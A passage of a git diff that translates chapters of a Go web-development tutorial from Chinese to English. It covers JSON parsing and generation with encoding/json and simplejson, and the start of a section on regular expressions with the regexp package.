v.(type) { - case string: - fmt.Println(k, "is string", vv) - case int: - fmt.Println(k, "is int", vv) - case float64: - fmt.Println(k,"is float64",vv) - case []interface{}: - fmt.Println(k, "is an array:") - for i, u := range vv { - fmt.Println(i, u) - } - default: - fmt.Println(k, "is of a type I don't know how to handle") - } - } -通过上面的示例可以看到,通过interface{}与type assert的配合,我们就可以解析未知结构的JSON数了。 - -上面这个是官方提供的解决方案,其实很多时候我们通过类型断言,操作起来不是很方便,目前bitly公司开源了一个叫做`simplejson`的包,在处理未知结构体的JSON时相当方便,详细例子如下所示: - - js, err := NewJson([]byte(`{ - "test": { - "array": [1, "2", 3], - "int": 10, - "float": 5.150, - "bignum": 9223372036854775807, - "string": "simplejson", - "bool": true - } - }`)) - - arr, _ := js.Get("test").Get("array").Array() - i, _ := js.Get("test").Get("int").Int() - ms := js.Get("test").Get("string").MustString() - -可以看到,使用这个库操作JSON比起官方包来说,简单的多,详细的请参考如下地址:https://github.com/bitly/go-simplejson - -## 生成JSON -我们开发很多应用的时候,最后都是要输出JSON数据串,那么如何来处理呢?JSON包里面通过`Marshal`函数来处理,函数定义如下: - - func Marshal(v interface{}) ([]byte, error) - -假设我们还是需要生成上面的服务器列表信息,那么如何来处理呢?请看下面的例子: - - package main - - import ( - "encoding/json" - "fmt" - ) - - type Server struct { - ServerName string - ServerIP string - } - - type Serverslice struct { - Servers []Server - } - - func main() { - var s Serverslice - s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) - s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) - b, err := json.Marshal(s) - if err != nil { - fmt.Println("json err:", err) - } - fmt.Println(string(b)) - } - -输出如下内容: - - {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} - -我们看到上面的输出字段名的首字母都是大写的,如果你想用小写的首字母怎么办呢?把结构体的字段名改成首字母小写的?JSON输出的时候必须注意,只有导出的字段才会被输出,如果修改字段名,那么就会发现什么都不会输出,所以必须通过struct tag定义来实现: - - type Server struct { - ServerName string `json:"serverName"` - ServerIP string `json:"serverIP"` - } - - type Serverslice struct { - Servers []Server `json:"servers"` - } - -通过修改上面的结构体定义,输出的JSON串就和我们最开始定义的JSON串保持一致了。 - -针对JSON的输出,我们在定义struct tag的时候需要注意的几点是: - -- 字段的tag是`"-"`,那么这个字段不会输出到JSON -- tag中带有自定义名称,那么这个自定义名称会出现在JSON的字段名中,例如上面例子中serverName -- tag中如果带有`"omitempty"`选项,那么如果该字段值为空,就不会输出到JSON串中 -- 如果字段类型是bool, string, int, int64等,而tag中带有`",string"`选项,那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串 - - -举例来说: - - type Server struct { - // ID 不会导出到JSON中 - ID int `json:"-"` - - // ServerName2 的值会进行二次JSON编码 - ServerName string `json:"serverName"` - ServerName2 string `json:"serverName2,string"` - - // 如果 ServerIP 为空,则不输出到JSON串中 - ServerIP string `json:"serverIP,omitempty"` - } - - s := Server { - ID: 3, - ServerName: `Go "1.0" `, - ServerName2: `Go "1.0" `, - ServerIP: ``, - } - b, _ := json.Marshal(s) - os.Stdout.Write(b) - -会输出以下内容: - - {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} - - -Marshal函数只有在转换成功的时候才会返回数据,在转换的过程中我们需要注意几点: - - -- JSON对象只支持string作为key,所以要编码一个map,那么必须是map[string]T这种类型(T是Go语言中任意的类型) -- Channel, complex和function是不能被编码成JSON的 -- 嵌套的数据是不能编码的,不然会让JSON编码进入死循环 -- 指针在编码的时候会输出指针指向的内容,而空指针会输出null - - -本小节,我们介绍了如何使用Go语言的json标准包来编解码JSON数据,同时也简要介绍了如何使用第三方包`go-simplejson`来在一些情况下简化操作,学会并熟练运用它们将对我们接下来的Web开发相当重要。 - -## links - * [目录]() - * 上一节: [XML处理](<07.1.md>) - * 下一节: [正则处理](<07.3.md>) +# 7.2 JSON + +JSON (JavaScript Object Notation) is a lightweight data exchange language which is based on text description. Its advantages include being self-descriptive, easy to understand, etc. Even though it is a subset of JavaScript, JSON uses a different text format, the result being that it can be considered as an independent language. JSON bears similarity to C-family languages. + +The biggest difference between JSON and XML is that XML is a complete markup language, whereas JSON is not. JSON is smaller and faster than XML, therefore it's much easier and quicker to parse in browsers, which is one of the reasons why many open platforms choose to use JSON as their data exchange interface language. + +Since JSON is becoming more and more important in web development, let's take a look at the level of support Go has for JSON. You'll find that Go's standard library has very good support for encoding and decoding JSON. + +Here we use JSON to represent the example in the previous section: + + {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} + +The rest of this section will use this JSON data to introduce JSON concepts in Go. + +## Parse JSON + +### Parse to struct + +Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides the following function for just this purpose: + + func Unmarshal(data []byte, v interface{}) error + +We can use this function like so: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) + } + +In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed? Suppose we have a key called `Foo` in JSON. How do we find its corresponding field? + +- First, Go tries to find the (capitalised) exported field whose tag contains `Foo`. +- If no match can be found, look for the field whose name is `Foo`. +- If there are still not matches look for something like `FOO` or `FoO`, ignoring case sensitivity. + +You may have noticed that all fields that are going to be assigned should be exported, and Go only assigns fields that can be found, ignoring all others. This can be useful if you need to deal with large chunks of JSON data but you only a specific subset of it; the data you don't need can easily be discarded. + +### Parse to interface + +When we know what kind of JSON to expect in advance, we can parse it to a specific struct. But what if we don't know? + +We know that an interface{} can be anything in Go, so it is the best container to save our JSON of unknown format. The JSON package uses `map[string]interface{}` and `[]interface{}` to save all kinds of JSON objects and arrays. Here is a list of JSON mapping relations: + +- `bool` represents `JSON booleans`, +- `float64` represents `JSON numbers`, +- `string` represents `JSON strings`, +- `nil` represents `JSON null`. + +Suppose we have the following JSON data: + + b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) + +Now we parse this JSON to an interface{}: + + var f interface{} + err := json.Unmarshal(b, &f) + +The `f` stores a map, where keys are strings and values are interface{}'s'. + + f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, + } + +So, how do we access this data? Type assertion. + + m := f.(map[string]interface{}) + +After asserted, you can use the following code to access data: + + for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) + } + default: + fmt.Println(k, "is of a type I don't know how to handle") + } + } + +As you can see, we can parse JSON of an unknown format through interface{} and type assert now. + +The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source project called `simplejson`, created and maintained by by bitly. Here is an example of how to use this project to deal with JSON of an unknown format: + + js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } + }`)) + + arr, _ := js.Get("test").Get("array").Array() + i, _ := js.Get("test").Get("int").Int() + ms := js.Get("test").Get("string").MustString() + +It's not hard to see how convenient this is. Check out the repository to see more information: [https://github.com/bitly/go-simplejson](https://github.com/bitly/go-simplejson). + +## Producing JSON + +In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called `Marshal` to do just that: + + func Marshal(v interface{}) ([]byte, error) + +Suppose we need to produce a server information list. We have following sample: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) + } + fmt.Println(string(b)) + } + +Output: + + {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} + +As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you should use `struct tag`s. Otherwise, Go will not produce data for internal fields. + + type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` + } + + type Serverslice struct { + Servers []Server `json:"servers"` + } + +After this modification, we can produce the same JSON data as before. + +Here are some points you need to keep in mind when trying to produce JSON: + +- Field tags containing `"-"` will not be outputted. +- If a tag contains a customized name, Go uses this instead of the field name, like `serverName` in the above example. +- If a tag contains `omitempty`, this field will not be outputted if it is its zero-value. +- If the field type is `bool`, string, int, `int64`, etc, and its tag contains `",string"`, Go converts this field to its corresponding JSON type. + +Example: + + type Server struct { + // ID will not be outputed. + ID int `json:"-"` + + // ServerName2 will be converted to JSON type. + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` + + // If ServerIP is empty, it will not be outputed. + ServerIP string `json:"serverIP,omitempty"` + } + + s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, + } + b, _ := json.Marshal(s) + os.Stdout.Write(b) + +Output: + + {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} + +The `Marshal` function only returns data when it has succeeded, so here are some points we need to keep in mind: + +- JSON only supports strings as keys, so if you want to encode a map, its type has to be `map[string]T`, where `T` is the type in Go. +- Types like channel, complex types and functions are not able to be encoded to JSON. +- Do not try to encode cyclic data, it leads to an infinite recursion. +- If the field is a pointer, Go outputs the data that it points to, or else outputs null if it points to nil. + +In this section, we introduced how to decode and encode JSON data in Go. We also looked at one third-party project called `simplejson` which is for parsing JSON or unknown format. These are all useful concepts for developping web applications in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [XML](07.1.md) +- Next section: [Regexp](07.3.md) diff --git a/en/07.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/07.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..c0244745 --- /dev/null +++ b/en/07.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,224 @@ +# 7.2 JSON处理 +JSON(Javascript Object Notation)是一种轻量级的数据交换语言,以文字为基础,具有自我描述性且易于让人阅读。尽管JSON是Javascript的一个子集,但JSON是独立于语言的文本格式,并且采用了类似于C语言家族的一些习惯。JSON与XML最大的不同在于XML是一个完整的标记语言,而JSON不是。JSON由于比XML更小、更快,更易解析,以及浏览器的内建快速解析支持,使得其更适用于网络数据传输领域。目前我们看到很多的开放平台,基本上都是采用了JSON作为他们的数据交互的接口。既然JSON在Web开发中如此重要,那么Go语言对JSON支持的怎么样呢?Go语言的标准库已经非常好的支持了JSON,可以很容易的对JSON数据进行编、解码的工作。 + +前一小节的运维的例子用json来表示,结果描述如下: + + {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} + +本小节余下的内容将以此JSON数据为基础,来介绍go语言的json包对JSON数据的编、解码。 +## 解析JSON + +### 解析到结构体 +假如有了上面的JSON串,那么我们如何来解析这个JSON串呢?Go的JSON包中有如下函数 + + func Unmarshal(data []byte, v interface{}) error + +通过这个函数我们就可以实现解析的目的,详细的解析例子请看如下代码: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) + } + +在上面的示例代码中,我们首先定义了与json数据对应的结构体,数组对应slice,字段名对应JSON里面的KEY,在解析的时候,如何将json数据与struct字段相匹配呢?例如JSON的key是`Foo`,那么怎么找对应的字段呢? + +- 首先查找tag含有`Foo`的可导出的struct字段(首字母大写) +- 其次查找字段名是`Foo`的导出字段 +- 最后查找类似`FOO`或者`FoO`这样的除了首字母之外其他大小写不敏感的导出字段 + +聪明的你一定注意到了这一点:能够被赋值的字段必须是可导出字段(即首字母大写)。同时JSON解析的时候只会解析能找得到的字段,找不到的字段会被忽略,这样的一个好处是:当你接收到一个很大的JSON数据结构而你却只想获取其中的部分数据的时候,你只需将你想要的数据对应的字段名大写,即可轻松解决这个问题。 + +### 解析到interface +上面那种解析方式是在我们知晓被解析的JSON数据的结构的前提下采取的方案,如果我们不知道被解析的数据的格式,又应该如何来解析呢? + +我们知道interface{}可以用来存储任意数据类型的对象,这种数据结构正好用于存储解析的未知结构的json数据的结果。JSON包中采用map[string]interface{}和[]interface{}结构来存储任意的JSON对象和数组。Go类型和JSON类型的对应关系如下: + +- bool 代表 JSON booleans, +- float64 代表 JSON numbers, +- string 代表 JSON strings, +- nil 代表 JSON null. + +现在我们假设有如下的JSON数据 + + b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) + +如果在我们不知道他的结构的情况下,我们把他解析到interface{}里面 + + var f interface{} + err := json.Unmarshal(b, &f) + +这个时候f里面存储了一个map类型,他们的key是string,值存储在空的interface{}里 + + f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, + } + +那么如何来访问这些数据呢?通过断言的方式: + + m := f.(map[string]interface{}) + +通过断言之后,你就可以通过如下方式来访问里面的数据了 + + for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) + } + default: + fmt.Println(k, "is of a type I don't know how to handle") + } + } +通过上面的示例可以看到,通过interface{}与type assert的配合,我们就可以解析未知结构的JSON数了。 + +上面这个是官方提供的解决方案,其实很多时候我们通过类型断言,操作起来不是很方便,目前bitly公司开源了一个叫做`simplejson`的包,在处理未知结构体的JSON时相当方便,详细例子如下所示: + + js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } + }`)) + + arr, _ := js.Get("test").Get("array").Array() + i, _ := js.Get("test").Get("int").Int() + ms := js.Get("test").Get("string").MustString() + +可以看到,使用这个库操作JSON比起官方包来说,简单的多,详细的请参考如下地址:https://github.com/bitly/go-simplejson + +## 生成JSON +我们开发很多应用的时候,最后都是要输出JSON数据串,那么如何来处理呢?JSON包里面通过`Marshal`函数来处理,函数定义如下: + + func Marshal(v interface{}) ([]byte, error) + +假设我们还是需要生成上面的服务器列表信息,那么如何来处理呢?请看下面的例子: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) + } + fmt.Println(string(b)) + } + +输出如下内容: + + {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} + +我们看到上面的输出字段名的首字母都是大写的,如果你想用小写的首字母怎么办呢?把结构体的字段名改成首字母小写的?JSON输出的时候必须注意,只有导出的字段才会被输出,如果修改字段名,那么就会发现什么都不会输出,所以必须通过struct tag定义来实现: + + type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` + } + + type Serverslice struct { + Servers []Server `json:"servers"` + } + +通过修改上面的结构体定义,输出的JSON串就和我们最开始定义的JSON串保持一致了。 + +针对JSON的输出,我们在定义struct tag的时候需要注意的几点是: + +- 字段的tag是`"-"`,那么这个字段不会输出到JSON +- tag中带有自定义名称,那么这个自定义名称会出现在JSON的字段名中,例如上面例子中serverName +- tag中如果带有`"omitempty"`选项,那么如果该字段值为空,就不会输出到JSON串中 +- 如果字段类型是bool, string, int, int64等,而tag中带有`",string"`选项,那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串 + + +举例来说: + + type Server struct { + // ID 不会导出到JSON中 + ID int `json:"-"` + + // ServerName2 的值会进行二次JSON编码 + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` + + // 如果 ServerIP 为空,则不输出到JSON串中 + ServerIP string `json:"serverIP,omitempty"` + } + + s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, + } + b, _ := json.Marshal(s) + os.Stdout.Write(b) + +会输出以下内容: + + {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} + + +Marshal函数只有在转换成功的时候才会返回数据,在转换的过程中我们需要注意几点: + + +- JSON对象只支持string作为key,所以要编码一个map,那么必须是map[string]T这种类型(T是Go语言中任意的类型) +- Channel, complex和function是不能被编码成JSON的 +- 嵌套的数据是不能编码的,不然会让JSON编码进入死循环 +- 指针在编码的时候会输出指针指向的内容,而空指针会输出null + + +本小节,我们介绍了如何使用Go语言的json标准包来编解码JSON数据,同时也简要介绍了如何使用第三方包`go-simplejson`来在一些情况下简化操作,学会并熟练运用它们将对我们接下来的Web开发相当重要。 + +## links + * [目录]() + * 上一节: [XML处理](<07.1.md>) + * 下一节: [正则处理](<07.3.md>) diff --git a/en/07.3.md b/en/07.3.md index ef33e94f..2d524455 100644 --- a/en/07.3.md +++ b/en/07.3.md @@ -1,237 +1,241 @@ -# 7.3 正则处理 -正则表达式是一种进行模式匹配和文本操纵的复杂而又强大的工具。虽然正则表达式比纯粹的文本匹配效率低,但是它却更灵活。按照它的语法规则,随需构造出的匹配模式就能够从原始文本中筛选出几乎任何你想要得到的字符组合。如果你在Web开发中需要从一些文本数据源中获取数据,那么你只需要按照它的语法规则,随需构造出正确的模式字符串就能够从原数据源提取出有意义的文本信息。 - -Go语言通过`regexp`标准包为正则表达式提供了官方支持,如果你已经使用过其他编程语言提供的正则相关功能,那么你应该对Go语言版本的不会太陌生,但是它们之间也有一些小的差异,因为Go实现的是RE2标准,除了\C,详细的语法描述参考:`http://code.google.com/p/re2/wiki/Syntax` - -其实字符串处理我们可以使用`strings`包来进行搜索(Contains、Index)、替换(Replace)和解析(Split、Join)等操作,但是这些都是简单的字符串操作,他们的搜索都是大小写敏感,而且固定的字符串,如果我们需要匹配可变的那种就没办法实现了,当然如果`strings`包能解决你的问题,那么就尽量使用它来解决。因为他们足够简单、而且性能和可读性都会比正则好。 - -如果你还记得,在前面表单验证的小节里,我们已经接触过正则处理,在那里我们利用了它来验证输入的信息是否满足某些预设的条件。在使用中需要注意的一点就是:所有的字符都是UTF-8编码的。接下来让我们更加深入的来学习Go语言的`regexp`包相关知识吧。 - -## 通过正则判断是否匹配 -`regexp`包中含有三个函数用来判断是否匹配,如果匹配返回true,否则返回false - - func Match(pattern string, b []byte) (matched bool, error error) - func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) - func MatchString(pattern string, s string) (matched bool, error error) - -上面的三个函数实现了同一个功能,就是判断`pattern`是否和输入源匹配,匹配的话就返回true,如果解析正则出错则返回error。三个函数的输入源分别是byte slice、RuneReader和string。 - -如果要验证一个输入是不是IP地址,那么如何来判断呢?请看如下实现 - - func IsIP(ip string) (b bool) { - if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { - return false - } - return true - } - -可以看到,`regexp`的pattern和我们平常使用的正则一模一样。再来看一个例子:当用户输入一个字符串,我们想知道是不是一次合法的输入: - - func main() { - if len(os.Args) == 1 { - fmt.Println("Usage: regexp [string]") - os.Exit(1) - } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { - fmt.Println("数字") - } else { - fmt.Println("不是数字") - } - } - -在上面的两个小例子中,我们采用了Match(Reader|String)来判断一些字符串是否符合我们的描述需求,它们使用起来非常方便。 - -## 通过正则获取内容 -Match模式只能用来对字符串的判断,而无法截取字符串的一部分、过滤字符串、或者提取出符合条件的一批字符串。如果想要满足这些需求,那就需要使用正则表达式的复杂模式。 - -我们经常需要一些爬虫程序,下面就以爬虫为例来说明如何使用正则来过滤或截取抓取到的数据: - - package main - - import ( - "fmt" - "io/ioutil" - "net/http" - "regexp" - "strings" - ) - - func main() { - resp, err := http.Get("http://www.baidu.com") - if err != nil { - fmt.Println("http get error.") - } - defer resp.Body.Close() - body, err := ioutil.ReadAll(resp.Body) - if err != nil { - fmt.Println("http read error") - return - } - - src := string(body) - - //将HTML标签全转换成小写 - re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") - src = re.ReplaceAllStringFunc(src, strings.ToLower) - - //去除STYLE - re, _ = regexp.Compile("\\") - src = re.ReplaceAllString(src, "") - - //去除SCRIPT - re, _ = regexp.Compile("\\") - src = re.ReplaceAllString(src, "") - - //去除所有尖括号内的HTML代码,并换成换行符 - re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") - src = re.ReplaceAllString(src, "\n") - - //去除连续的换行符 - re, _ = regexp.Compile("\\s{2,}") - src = re.ReplaceAllString(src, "\n") - - fmt.Println(strings.TrimSpace(src)) - } - -从这个示例可以看出,使用复杂的正则首先是Compile,它会解析正则表达式是否合法,如果正确,那么就会返回一个Regexp,然后就可以利用返回的Regexp在任意的字符串上面执行需要的操作。 - -解析正则表达式的有如下几个方法: - - func Compile(expr string) (*Regexp, error) - func CompilePOSIX(expr string) (*Regexp, error) - func MustCompile(str string) *Regexp - func MustCompilePOSIX(str string) *Regexp - -CompilePOSIX和Compile的不同点在于POSIX必须使用POSIX语法,它使用最左最长方式搜索,而Compile是采用的则只采用最左方式搜索(例如[a-z]{2,4}这样一个正则表达式,应用于"aa09aaa88aaaa"这个文本串时,CompilePOSIX返回了aaaa,而Compile的返回的是aa)。前缀有Must的函数表示,在解析正则语法的时候,如果匹配模式串不满足正确的语法则直接panic,而不加Must的则只是返回错误。 - -在了解了如何新建一个Regexp之后,我们再来看一下这个struct提供了哪些方法来辅助我们操作字符串,首先我们来看下面这些用来搜索的函数: - - func (re *Regexp) Find(b []byte) []byte - func (re *Regexp) FindAll(b []byte, n int) [][]byte - func (re *Regexp) FindAllIndex(b []byte, n int) [][]int - func (re *Regexp) FindAllString(s string, n int) []string - func (re *Regexp) FindAllStringIndex(s string, n int) [][]int - func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string - func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int - func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte - func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int - func (re *Regexp) FindIndex(b []byte) (loc []int) - func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) - func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int - func (re *Regexp) FindString(s string) string - func (re *Regexp) FindStringIndex(s string) (loc []int) - func (re *Regexp) FindStringSubmatch(s string) []string - func (re *Regexp) FindStringSubmatchIndex(s string) []int - func (re *Regexp) FindSubmatch(b []byte) [][]byte - func (re *Regexp) FindSubmatchIndex(b []byte) []int - -上面这18个函数我们根据输入源(byte slice、string和io.RuneReader)不同还可以继续简化成如下几个,其他的只是输入源不一样,其他功能基本是一样的: - - func (re *Regexp) Find(b []byte) []byte - func (re *Regexp) FindAll(b []byte, n int) [][]byte - func (re *Regexp) FindAllIndex(b []byte, n int) [][]int - func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte - func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int - func (re *Regexp) FindIndex(b []byte) (loc []int) - func (re *Regexp) FindSubmatch(b []byte) [][]byte - func (re *Regexp) FindSubmatchIndex(b []byte) []int - -对于这些函数的使用我们来看下面这个例子 - - package main - - import ( - "fmt" - "regexp" - ) - - func main() { - a := "I am learning Go language" - - re, _ := regexp.Compile("[a-z]{2,4}") - - //查找符合正则的第一个 - one := re.Find([]byte(a)) - fmt.Println("Find:", string(one)) - - //查找符合正则的所有slice,n小于0表示返回全部符合的字符串,不然就是返回指定的长度 - all := re.FindAll([]byte(a), -1) - fmt.Println("FindAll", all) - - //查找符合条件的index位置,开始位置和结束位置 - index := re.FindIndex([]byte(a)) - fmt.Println("FindIndex", index) - - //查找符合条件的所有的index位置,n同上 - allindex := re.FindAllIndex([]byte(a), -1) - fmt.Println("FindAllIndex", allindex) - - re2, _ := regexp.Compile("am(.*)lang(.*)") - - //查找Submatch,返回数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的 - //下面的输出第一个元素是"am learning Go language" - //第二个元素是" learning Go ",注意包含空格的输出 - //第三个元素是"uage" - submatch := re2.FindSubmatch([]byte(a)) - fmt.Println("FindSubmatch", submatch) - for _, v := range submatch { - fmt.Println(string(v)) - } - - //定义和上面的FindIndex一样 - submatchindex := re2.FindSubmatchIndex([]byte(a)) - fmt.Println(submatchindex) - - //FindAllSubmatch,查找所有符合条件的子匹配 - submatchall := re2.FindAllSubmatch([]byte(a), -1) - fmt.Println(submatchall) - - //FindAllSubmatchIndex,查找所有字匹配的index - submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) - fmt.Println(submatchallindex) - } - -前面介绍过匹配函数,Regexp也定义了三个函数,它们和同名的外部函数功能一模一样,其实外部函数就是调用了这Regexp的三个函数来实现的: - - func (re *Regexp) Match(b []byte) bool - func (re *Regexp) MatchReader(r io.RuneReader) bool - func (re *Regexp) MatchString(s string) bool - -接下里让我们来了解替换函数是怎么操作的? - - func (re *Regexp) ReplaceAll(src, repl []byte) []byte - func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte - func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte - func (re *Regexp) ReplaceAllLiteralString(src, repl string) string - func (re *Regexp) ReplaceAllString(src, repl string) string - func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string - -这些替换函数我们在上面的抓网页的例子有详细应用示例, - -接下来我们看一下Expand的解释: - - func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte - func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte - -那么这个Expand到底用来干嘛的呢?请看下面的例子: - - func main() { - src := []byte(` - call hello alice - hello bob - call hello eve - `) - pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) - res := []byte{} - for _, s := range pat.FindAllSubmatchIndex(src, -1) { - res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) - } - fmt.Println(string(res)) - } - -至此我们已经全部介绍完Go语言的`regexp`包,通过对它的主要函数介绍及演示,相信大家应该能够通过Go语言的正则包进行一些基本的正则的操作了。 - - -## links - * [目录]() - * 上一节: [Json处理](<07.2.md>) - * 下一节: [模板处理](<07.4.md>) +# 7.3 Regexp + +Regexp is a complicated but powerful tool for pattern matching and text manipulation. Although does not perform as well as pure text matching, it's more flexible. Based on its syntax, you can filter almost any kind of text from your source content. If you need to collect data in web development, it's not hard to use Regexp to retrieve meaningful data. + +Go has the `regexp` package, which provides official support for regexp. If you've already used regexp in other programming languages, you should be familiar with it. Note that Go implemented RE2 standard except for `\C`. For more details, follow this link: [http://code.google.com/p/re2/wiki/Syntax](http://code.google.com/p/re2/wiki/Syntax). + +Go's `strings` package can actually do many jobs like searching (Contains, Index), replacing (Replace), parsing (Split, Join), etc., and it's faster than Regexp. However, these are all trivial operations. If you want to search a case insensitive string, Regexp should be your best choice. So, if the `strings` package is sufficient for your needs, just use it since it's easy to use and read; if you need to perform more advanced operations, use Regexp. + +If you recall form verification from previous sections, we used Regexp to verify the validity of user input information. Be aware that all characters are UTF-8. Let's learn more about the Go `regexp` package! + +## Match + +The `regexp` package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise. + + func Match(pattern string, b []byte) (matched bool, error error) + func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) + func MatchString(pattern string, s string) (matched bool, error error) + +All of 3 functions check if `pattern` matches the input source, returning true if it matches. However if your Regex has syntax errors, it will return an error. The 3 input sources of these functions are `slice of byte`, `RuneReader` and `string`. + +Here is an example of how to verify an IP address: + + func IsIP(ip string) (b bool) { + if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { + return false + } + return true + } + +As you can see, using pattern in the `regexp` package is not that different. Here's one more example on verifying if user input is valid: + + func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("Number") + } else { + fmt.Println("Not number") + } + } + +In the above examples, we use `Match(Reader|Sting)` to check if content is valid, but they are all easy to use. + +## Filter + +Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use complex mode of Regexp. + +Let's say we need to write a crawler. Here is an example that shows when you must use Regexp to filter and cut data. + + 